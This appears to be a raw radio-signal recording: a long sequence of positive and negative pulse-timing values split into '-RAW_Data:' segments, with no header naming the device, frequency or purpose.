-358 93 -372 349 -132 329 -124 337 -128 337 -130 123 -3704 131 -360 103 -378 103 -336 353 -140 335 -126 347 -94 371 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -372 101 -370 91 -386 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 131 -358 103 -378 105 -334 355 -140 335 -126 347 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -340 129 -340 127 -342 343 -126 337 -130 337 -128 337 -124 365 -142 105 -346 345 -124 339 -128 337 -128 93 -368 125 -356 123 -360 327 -124 143 -342 99 -366 123 -360 103 -394 317 -142 357 -106 333 -122 361 -104 103 -3730 107 -368 95 -362 123 -340 349 -132 331 -124 337 -128 369 -96 337 -128 127 -372 327 -140 335 -126 349 -94 121 -374 101 -368 93 -384 351 -102 141 -364 105 -334 129 -358 93 -370 349 -134 329 -124 339 -126 339 -128 123 -3698 129 -340 129 -340 127 -372 345 -94 369 -128 337 -128 337 -126 343 -122 93 -370 349 -132 331 -122 339 -126 123 -370 101 -368 91 -382 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -122 337 -128 337 -128 125 -3700 131 -340 127 -340 127 -372 345 -94 369 -128 337 -130 337 -126 341 -142 107 -362 347 -108 361 -106 337 -128 97 -368 141 -334 125 -352 351 -104 141 -362 105 -336 127 -358 93 -370 349 -134 329 -124 339 -126 339 -128 123 -3704 133 -358 103 -378 105 -336 353 -140 335 -126 347 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 -RAW_Data: 337 -128 337 -128 125 -3702 133 -358 103 -380 103 -336 355 -138 335 -126 347 -94 369 -96 371 -96 125 -368 365 -108 335 -128 351 -94 123 -372 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3698 131 -340 129 -338 129 -370 345 -94 369 -128 339 -128 337 -126 341 -124 91 -372 349 -132 329 -124 337 -128 121 -370 101 -368 91 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 339 -130 355 -94 121 -3712 131 -354 101 -396 105 -334 371 -106 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 103 -378 103 -334 353 -140 335 -126 349 -92 371 -96 369 -96 127 -368 365 -106 337 -128 351 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 329 -124 339 -126 337 -130 123 -3698 133 -358 103 -382 105 -336 353 -140 335 -126 349 -94 371 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 123 -352 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -122 339 -128 337 -128 123 -3698 131 -340 129 -372 95 -370 347 -94 367 -130 337 -128 337 -126 341 -124 91 -372 349 -132 329 -124 339 -126 123 -370 101 -366 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3702 133 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -370 91 -384 351 -102 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3698 131 -340 129 -370 97 -370 345 -94 369 -128 339 -128 337 -126 341 -122 93 -372 349 -130 331 -124 337 -128 121 -372 101 -366 93 -380 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3696 131 -360 101 -384 105 -336 353 -140 335 -128 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3698 133 -358 103 -382 105 -336 353 -140 335 -128 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 103 -378 103 -336 -RAW_Data: 353 -140 335 -126 361 -106 361 -106 343 -102 137 -356 353 -94 343 -140 337 -128 97 -376 105 -370 93 -396 329 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -130 355 -94 121 -3740 99 -346 127 -370 97 -372 345 -92 377 -94 369 -96 371 -96 369 -126 93 -358 345 -134 333 -124 339 -128 121 -372 101 -368 91 -382 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3696 131 -340 129 -372 95 -370 347 -124 337 -130 337 -128 337 -126 341 -124 91 -374 349 -132 331 -122 337 -128 121 -372 101 -366 93 -382 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3698 131 -358 103 -382 105 -336 355 -140 335 -128 363 -104 361 -106 343 -104 135 -356 359 -106 347 -102 365 -92 121 -374 139 -332 127 -366 333 -132 103 -358 105 -370 93 -396 103 -360 347 -108 361 -106 339 -130 357 -92 121 -3714 131 -354 103 -394 105 -336 369 -106 337 -130 353 -92 369 -130 337 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -358 93 -372 349 -130 331 -124 337 -128 337 -128 125 -3704 133 -358 103 -380 103 -336 355 -140 333 -126 347 -94 371 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3698 131 -358 103 -382 105 -336 355 -140 335 -126 365 -104 361 -106 345 -102 137 -356 357 -106 347 -102 365 -92 121 -374 139 -332 127 -352 351 -104 141 -362 105 -336 129 -360 93 -390 327 -122 337 -128 337 -130 337 -128 125 -3702 133 -358 103 -370 99 -362 351 -140 333 -94 377 -94 369 -96 371 -96 125 -370 329 -140 337 -128 351 -94 121 -372 101 -370 123 -352 351 -104 141 -364 103 -338 127 -358 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3698 131 -358 103 -382 105 -336 355 -140 335 -126 365 -104 361 -106 345 -102 137 -356 357 -106 347 -104 363 -94 121 -374 137 -334 125 -366 331 -134 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3710 131 -352 137 -360 103 -338 373 -108 337 -130 353 -94 369 -96 369 -98 125 -368 365 -106 337 -128 353 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -338 129 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3698 131 -360 101 -384 103 -336 357 -140 333 -128 363 -106 359 -106 345 -104 137 -356 -RAW_Data: 357 -106 347 -102 363 -124 91 -374 137 -334 125 -366 333 -134 101 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -130 357 -92 121 -3742 97 -346 127 -372 97 -372 317 -122 375 -96 369 -96 371 -96 369 -94 125 -370 327 -128 357 -124 337 -128 93 -368 131 -364 93 -378 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3704 133 -358 103 -380 103 -336 355 -140 335 -126 349 -94 369 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3700 131 -358 103 -382 105 -336 357 -140 333 -128 363 -104 361 -106 345 -102 137 -356 353 -92 365 -106 337 -124 125 -358 139 -334 127 -356 349 -104 141 -362 105 -338 129 -358 93 -370 349 -134 331 -122 339 -126 337 -130 123 -3708 131 -358 103 -380 103 -336 355 -140 335 -126 361 -106 361 -106 343 -102 137 -356 353 -94 365 -104 339 -124 123 -358 139 -336 125 -356 351 -102 143 -362 105 -336 129 -358 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3706 133 -358 103 -380 103 -336 355 -140 335 -126 363 -104 361 -106 343 -104 135 -356 357 -106 347 -104 365 -122 91 -374 139 -332 125 -368 333 -132 103 -358 105 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3710 131 -352 135 -360 105 -336 375 -106 339 -130 353 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -374 101 -368 125 -352 349 -104 141 -364 105 -336 129 -360 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3730 97 -374 95 -372 95 -372 345 -126 337 -128 337 -128 337 -128 339 -124 123 -344 347 -132 333 -122 339 -126 121 -372 101 -368 93 -382 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3700 131 -340 129 -370 97 -370 347 -94 367 -130 337 -128 337 -126 341 -124 91 -372 349 -132 331 -124 337 -128 121 -370 101 -368 93 -380 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3732 97 -360 101 -384 105 -338 355 -140 335 -126 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 101 -380 105 -336 353 -140 335 -126 363 -106 359 -106 343 -104 135 -358 353 -92 365 -106 337 -124 125 -358 139 -334 125 -356 -RAW_Data: 351 -104 141 -362 105 -338 129 -358 125 -338 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 335 -128 353 -92 123 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3704 131 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -372 103 -368 125 -352 349 -104 141 -364 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 101 -380 105 -336 353 -140 335 -126 363 -106 359 -106 345 -102 137 -356 353 -92 345 -138 337 -128 97 -376 105 -370 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3716 131 -354 101 -394 105 -336 369 -106 337 -130 353 -94 369 -128 337 -130 93 -368 365 -106 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 131 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -130 351 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 101 -382 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 331 -124 337 -126 371 -96 125 -3706 133 -358 103 -380 103 -336 355 -140 335 -126 363 -104 361 -106 343 -104 135 -356 355 -92 365 -106 337 -124 125 -358 139 -334 125 -356 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 101 -382 103 -336 355 -140 333 -128 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -122 339 -126 371 -96 123 -3730 97 -374 95 -372 97 -370 347 -126 337 -128 337 -128 337 -128 337 -124 123 -346 347 -134 331 -124 337 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3730 99 -372 97 -370 97 -372 345 -126 337 -128 339 -128 337 -126 341 -124 91 -374 349 -132 329 -124 339 -126 123 -370 101 -368 91 -382 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 -RAW_Data: 331 -122 339 -126 337 -130 123 -3704 133 -358 103 -382 103 -336 355 -140 335 -126 363 -106 359 -106 345 -104 137 -354 357 -108 347 -102 365 -92 121 -376 137 -334 125 -352 351 -104 141 -362 105 -336 129 -360 93 -390 327 -124 337 -126 339 -128 337 -128 127 -3704 131 -358 105 -370 97 -362 351 -140 333 -94 377 -94 369 -98 369 -96 127 -368 363 -106 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 101 -380 103 -336 355 -140 335 -126 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 125 -338 349 -132 333 -122 339 -126 337 -130 123 -3708 131 -340 129 -340 127 -342 345 -126 369 -96 371 -96 367 -94 369 -142 105 -346 345 -126 337 -128 337 -128 95 -366 125 -358 125 -338 349 -134 103 -348 125 -364 127 -342 133 -332 355 -142 335 -128 349 -94 391 -104 103 -3706 139 -338 135 -332 123 -358 327 -124 385 -106 359 -108 337 -128 351 -94 121 -374 351 -106 347 -142 331 -124 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3698 131 -340 129 -370 97 -370 345 -126 337 -130 337 -128 337 -126 341 -124 121 -344 349 -132 331 -122 339 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -134 331 -122 339 -126 337 -130 123 -3700 131 -372 97 -370 97 -370 347 -124 339 -128 337 -128 337 -126 341 -124 123 -342 349 -132 331 -122 339 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3704 131 -360 101 -382 105 -336 355 -140 335 -128 363 -104 361 -106 345 -102 137 -346 343 -128 337 -128 339 -126 127 -348 125 -360 103 -356 357 -106 141 -330 127 -370 95 -372 93 -380 343 -128 337 -128 337 -128 339 -124 93 -3738 103 -380 105 -366 93 -384 325 -126 351 -124 359 -104 359 -108 335 -124 145 -342 345 -108 337 -132 355 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3704 131 -360 101 -382 105 -336 355 -140 333 -128 349 -94 369 -98 369 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3730 99 -372 97 -372 -RAW_Data: 95 -372 347 -124 337 -128 337 -130 337 -126 339 -124 123 -344 347 -134 331 -124 337 -126 123 -372 101 -366 93 -382 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3730 97 -372 97 -372 97 -370 347 -124 337 -128 337 -130 337 -126 339 -124 123 -344 349 -132 331 -124 337 -128 121 -372 101 -368 91 -384 349 -104 141 -362 105 -338 127 -358 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3708 129 -360 101 -382 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -382 105 -336 353 -140 335 -126 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 369 -98 123 -3704 131 -360 101 -384 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -358 103 -386 105 -366 325 -142 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3732 99 -358 103 -384 105 -336 357 -140 335 -126 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -358 103 -384 105 -368 325 -140 337 -126 365 -104 361 -106 345 -102 137 -356 357 -106 347 -104 363 -124 91 -374 137 -334 125 -354 351 -104 141 -362 105 -338 127 -360 93 -392 327 -122 337 -128 337 -128 339 -128 125 -3702 131 -340 129 -340 125 -362 355 -106 351 -142 333 -122 361 -104 359 -106 105 -398 319 -142 319 -140 333 -124 109 -374 97 -360 125 -360 327 -122 145 -342 99 -364 123 -374 95 -372 347 -94 361 -124 337 -126 339 -128 123 -3706 131 -360 103 -376 105 -334 353 -140 335 -126 363 -106 361 -104 347 -102 137 -354 353 -94 345 -138 337 -128 97 -376 141 -334 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -108 339 -130 355 -94 121 -3744 99 -350 137 -360 105 -336 377 -106 339 -130 353 -94 369 -96 371 -128 -RAW_Data: 93 -368 365 -106 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 127 -360 125 -338 349 -132 331 -124 337 -128 369 -96 125 -3732 99 -372 97 -370 97 -372 345 -126 337 -128 337 -128 337 -126 339 -124 123 -344 349 -132 331 -124 339 -126 121 -372 101 -368 93 -380 351 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3732 97 -360 101 -386 103 -338 355 -140 337 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -354 137 -336 127 -354 125 -340 349 -132 331 -124 339 -126 369 -98 123 -3732 99 -358 103 -384 105 -338 355 -140 335 -126 351 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -352 139 -334 127 -372 105 -360 347 -108 361 -106 339 -132 357 -92 121 -3738 99 -348 127 -370 97 -372 347 -92 377 -96 369 -128 337 -128 337 -126 95 -356 347 -134 333 -124 339 -128 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3732 97 -372 97 -372 95 -372 345 -126 337 -128 337 -128 339 -126 337 -124 123 -346 349 -132 331 -124 339 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3704 133 -358 103 -382 105 -336 355 -140 335 -126 349 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -342 129 -360 125 -360 325 -124 121 -352 125 -342 133 -366 91 -380 351 -102 337 -124 373 -94 371 -96 123 -3738 99 -358 103 -384 105 -336 355 -140 335 -128 347 -94 391 -104 359 -108 105 -360 357 -106 351 -138 331 -124 109 -374 97 -360 123 -360 329 -122 121 -352 139 -334 127 -356 125 -338 351 -132 333 -122 339 -126 339 -128 125 -3704 131 -358 103 -382 103 -336 355 -140 335 -128 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -382 105 -336 353 -140 335 -128 347 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -126 371 -96 123 -3704 133 -358 103 -382 105 -336 355 -140 335 -126 349 -94 391 -104 359 -108 105 -360 357 -106 349 -140 331 -124 109 -374 97 -360 -RAW_Data: 125 -358 327 -122 121 -354 123 -344 133 -366 93 -378 351 -104 335 -124 373 -94 371 -96 123 -3732 97 -374 95 -372 97 -370 347 -124 337 -128 339 -128 337 -126 337 -126 123 -348 349 -132 333 -122 339 -128 121 -372 101 -368 91 -382 351 -102 143 -362 105 -336 129 -358 123 -340 351 -132 331 -124 337 -126 339 -128 123 -3708 131 -360 101 -382 103 -336 355 -140 333 -128 365 -104 361 -106 343 -102 137 -356 357 -106 347 -138 331 -124 89 -376 137 -334 125 -368 331 -134 101 -360 105 -370 93 -396 103 -360 349 -106 361 -108 339 -130 357 -92 121 -3740 97 -348 127 -372 95 -372 347 -124 347 -94 369 -128 337 -128 337 -126 93 -388 317 -134 333 -124 373 -94 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 371 -96 123 -3702 133 -358 103 -384 105 -336 357 -140 335 -126 363 -106 359 -106 345 -102 137 -346 343 -128 337 -130 337 -126 127 -348 125 -338 129 -372 315 -126 133 -344 125 -356 139 -334 125 -354 349 -104 337 -124 385 -104 361 -106 107 -3734 99 -360 93 -392 101 -358 357 -106 349 -140 331 -124 361 -104 357 -108 105 -398 319 -106 353 -142 333 -122 109 -374 97 -362 123 -360 327 -122 143 -344 99 -366 123 -358 101 -394 353 -106 359 -108 333 -124 361 -104 103 -3744 103 -340 137 -336 123 -356 359 -92 383 -104 361 -106 339 -130 355 -94 121 -374 351 -106 351 -140 333 -124 107 -374 97 -362 123 -338 351 -132 105 -396 105 -334 127 -356 93 -370 349 -132 331 -124 337 -126 337 -130 123 -3732 97 -372 97 -372 95 -370 347 -124 339 -128 337 -128 337 -128 337 -124 123 -348 347 -132 333 -122 339 -128 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 369 -98 123 -3708 131 -358 103 -382 103 -336 355 -140 333 -128 349 -94 369 -98 369 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -126 371 -96 123 -3732 97 -360 135 -352 105 -368 325 -142 335 -126 349 -94 371 -96 369 -130 93 -368 363 -108 339 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 337 -130 123 -3704 131 -360 101 -384 103 -336 355 -140 335 -128 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 123 -340 -RAW_Data: 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -358 137 -352 105 -368 325 -140 335 -126 351 -94 369 -128 337 -128 95 -368 363 -108 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3704 133 -358 103 -382 105 -336 355 -140 335 -128 363 -104 361 -106 345 -102 137 -356 353 -94 345 -138 339 -128 95 -376 139 -334 125 -366 329 -134 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -132 357 -92 121 -3746 97 -350 137 -360 103 -370 343 -108 337 -130 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3736 99 -358 103 -384 105 -336 355 -142 335 -126 363 -106 359 -106 345 -104 135 -348 343 -126 337 -130 337 -128 125 -350 125 -338 129 -340 347 -126 131 -344 125 -358 137 -334 127 -354 349 -104 337 -124 385 -104 361 -106 107 -3704 131 -360 93 -370 129 -340 347 -124 353 -126 359 -104 359 -106 337 -124 145 -340 347 -108 371 -98 359 -94 139 -340 129 -358 125 -360 327 -122 121 -352 139 -334 127 -358 125 -338 349 -132 333 -122 339 -126 371 -96 123 -3730 97 -374 95 -372 97 -372 345 -126 337 -128 337 -130 337 -126 339 -124 123 -348 349 -132 331 -124 337 -128 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3706 131 -360 101 -384 103 -336 355 -140 335 -128 349 -94 369 -96 369 -98 125 -368 365 -106 337 -128 351 -94 123 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3732 99 -358 103 -386 105 -336 357 -140 335 -126 349 -94 369 -98 369 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -122 339 -126 371 -96 123 -3732 99 -358 103 -386 105 -336 357 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -362 125 -358 329 -122 121 -352 137 -336 127 -372 103 -362 347 -106 363 -106 339 -130 357 -94 121 -3744 99 -352 135 -360 105 -338 375 -108 337 -130 353 -94 369 -98 369 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 127 -360 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3732 99 -358 -RAW_Data: 103 -386 105 -336 355 -140 337 -126 365 -104 361 -106 345 -102 137 -356 353 -94 345 -138 337 -128 97 -376 141 -334 125 -364 331 -134 101 -358 143 -334 93 -384 93 -372 347 -132 329 -124 337 -128 337 -128 125 -3702 131 -358 101 -386 105 -336 355 -140 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -811502 163 -350 123 -360 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 105 -396 321 -104 353 -140 331 -124 109 -374 97 -360 93 -390 327 -122 145 -342 99 -364 123 -360 101 -394 319 -140 319 -142 333 -124 359 -104 105 -3726 91 -382 101 -366 93 -382 349 -102 337 -124 341 -126 339 -128 337 -128 127 -340 357 -140 335 -126 349 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 129 -356 93 -372 349 -132 329 -124 337 -128 337 -128 123 -3702 133 -358 103 -378 103 -336 355 -140 337 -94 347 -126 369 -98 369 -96 127 -370 327 -142 335 -126 351 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3702 133 -358 103 -380 103 -336 355 -140 333 -126 347 -94 369 -98 369 -96 127 -368 365 -106 337 -128 351 -94 121 -374 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 337 -130 123 -3700 131 -340 129 -340 127 -370 347 -94 367 -98 369 -128 337 -126 343 -122 93 -370 349 -130 331 -122 337 -128 121 -370 101 -368 93 -380 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3702 131 -360 101 -380 105 -336 353 -140 335 -126 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 103 -378 105 -334 355 -140 333 -128 347 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -368 123 -352 351 -104 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 337 -128 337 -128 125 -3702 131 -360 101 -382 103 -336 355 -140 335 -126 349 -94 369 -96 369 -96 125 -368 365 -108 337 -128 351 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 133 -358 103 -378 103 -336 355 -140 333 -126 347 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -338 127 -358 -RAW_Data: 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3704 131 -358 103 -380 105 -336 355 -138 335 -128 347 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -372 103 -366 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 133 -358 103 -378 105 -336 353 -140 335 -126 349 -94 369 -96 369 -128 95 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -134 331 -122 339 -126 337 -130 123 -3706 131 -360 101 -380 103 -336 355 -140 335 -126 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 133 -358 103 -378 105 -336 353 -140 335 -126 349 -94 369 -98 369 -96 125 -370 363 -108 335 -128 351 -94 123 -372 103 -368 125 -352 351 -102 143 -362 105 -336 127 -360 91 -372 349 -132 331 -124 337 -126 339 -128 123 -3708 131 -360 101 -380 103 -336 355 -140 333 -128 347 -94 369 -96 369 -98 125 -368 365 -106 337 -128 351 -94 121 -374 103 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3730 97 -360 101 -384 105 -338 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3704 131 -360 101 -382 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -372 103 -366 125 -352 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3730 97 -374 95 -372 95 -372 347 -124 339 -128 337 -128 337 -128 339 -124 123 -342 349 -132 331 -122 339 -128 121 -370 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 131 -358 103 -380 105 -336 353 -140 335 -126 363 -106 359 -106 345 -102 137 -356 357 -106 347 -104 365 